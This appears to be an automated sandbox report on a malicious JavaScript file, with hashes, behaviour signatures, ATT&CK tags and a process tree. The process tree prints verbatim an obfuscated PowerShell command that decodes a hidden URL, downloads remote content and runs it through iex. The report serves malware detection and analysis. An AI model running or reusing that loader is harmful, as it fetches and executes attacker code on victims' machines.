a991bca4671c6e3901845f12a88e2b8068b4942a22e794e2e66126687686e7de

Analysis

max time kernel
90s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 15:07

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General

Target

f392b38ec84a5b755647944405efdd102dd270f3390dab66e5c647f892e1c170.js
Size

173KB
MD5

a85db1311ff98b2c5a37c318e0b17518
SHA1

4e9e0c84f88c0d0f3302aa315ab08fbf12f6fa69
SHA256

f392b38ec84a5b755647944405efdd102dd270f3390dab66e5c647f892e1c170
SHA512

5955d601125bb4afac3d980a302eb3dcfaa791481eb2db6ea488cd43108c420b5da51f7530a7329146e6912f06a466e6640cbc01e8bdebb7d760f4d8d08fb665
SSDEEP

1536:nw8xskZw87t6FcH7xcWgWEioo4rWMT+87t6FcH7xcWgWEioo4rWMTEWgWEioo4ri:nDFww7mRi09qw7ORi09QRi09aw77w7Z

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4056	4340	conhost.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	4040	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4040	powershell.exe
4040	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4040	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4056 wrote to memory of 4040	4056	conhost.exe	85
PID 4056 wrote to memory of 4040	4056	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\f392b38ec84a5b755647944405efdd102dd270f3390dab66e5c647f892e1c170.js
1⤵
PID:2588

C:\Windows\system32\conhost.exe
conhost --headless powershell $ivomwytuxbhezj='ur' ;new-alias printout c$($ivomwytuxbhezj)l;$lwjotvbadqm=(6792,6803,6811,6795,6797,6792,6812,6811,6816,6749,6811,6745,6792,6740,6810,6805,6806,6741,6743,6740,6806,6798,6806,6757,6809,6755,6803,6799,6804,6810,6809,6744,6743);$itjcrgnlapbqsk=('bronx','get-cmdlet');$gvdjoiknctubye=$lwjotvbadqm;foreach($bweuhmdofvg in $gvdjoiknctubye){$fohnzx=$bweuhmdofvg;$zhynwk=$zhynwk+[char]($fohnzx-6694);$smqhpzda=$zhynwk; $gcljrwh=$smqhpzda};$wshrdljvpx[2]=$gcljrwh;$epzkxfsbgty='rl';$ozyrlwgh=1;.$([char](9992-9887)+'e'+'x')(printout -useb $gcljrwh)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $ivomwytuxbhezj='ur' ;new-alias printout c$($ivomwytuxbhezj)l;$lwjotvbadqm=(6792,6803,6811,6795,6797,6792,6812,6811,6816,6749,6811,6745,6792,6740,6810,6805,6806,6741,6743,6740,6806,6798,6806,6757,6809,6755,6803,6799,6804,6810,6809,6744,6743);$itjcrgnlapbqsk=('bronx','get-cmdlet');$gvdjoiknctubye=$lwjotvbadqm;foreach($bweuhmdofvg in $gvdjoiknctubye){$fohnzx=$bweuhmdofvg;$zhynwk=$zhynwk+[char]($fohnzx-6694);$smqhpzda=$zhynwk; $gcljrwh=$smqhpzda};$wshrdljvpx[2]=$gcljrwh;$epzkxfsbgty='rl';$ozyrlwgh=1;.$([char](9992-9887)+'e'+'x')(printout -useb $gcljrwh)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lko0211z.u52.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4040-0-0x00007FF9DE443000-0x00007FF9DE445000-memory.dmp

Filesize
8KB

Download
memory/4040-1-0x00007FF9DE440000-0x00007FF9DEF01000-memory.dmp

Filesize
10.8MB

Download
memory/4040-11-0x0000021D07DF0000-0x0000021D07E12000-memory.dmp

Filesize
136KB

Download
memory/4040-12-0x00007FF9DE440000-0x00007FF9DEF01000-memory.dmp

Filesize
10.8MB

Download
memory/4040-13-0x00007FF9DE440000-0x00007FF9DEF01000-memory.dmp

Filesize
10.8MB

Download
memory/4040-14-0x00007FF9DE440000-0x00007FF9DEF01000-memory.dmp

Filesize
10.8MB

Download
memory/4040-15-0x00007FF9DE443000-0x00007FF9DE445000-memory.dmp

Filesize
8KB

Download
memory/4040-16-0x00007FF9DE440000-0x00007FF9DEF01000-memory.dmp

Filesize
10.8MB

Download
memory/4040-17-0x00007FF9DE440000-0x00007FF9DEF01000-memory.dmp

Filesize
10.8MB

Download
memory/4040-20-0x00007FF9DE440000-0x00007FF9DEF01000-memory.dmp

Filesize
10.8MB

Download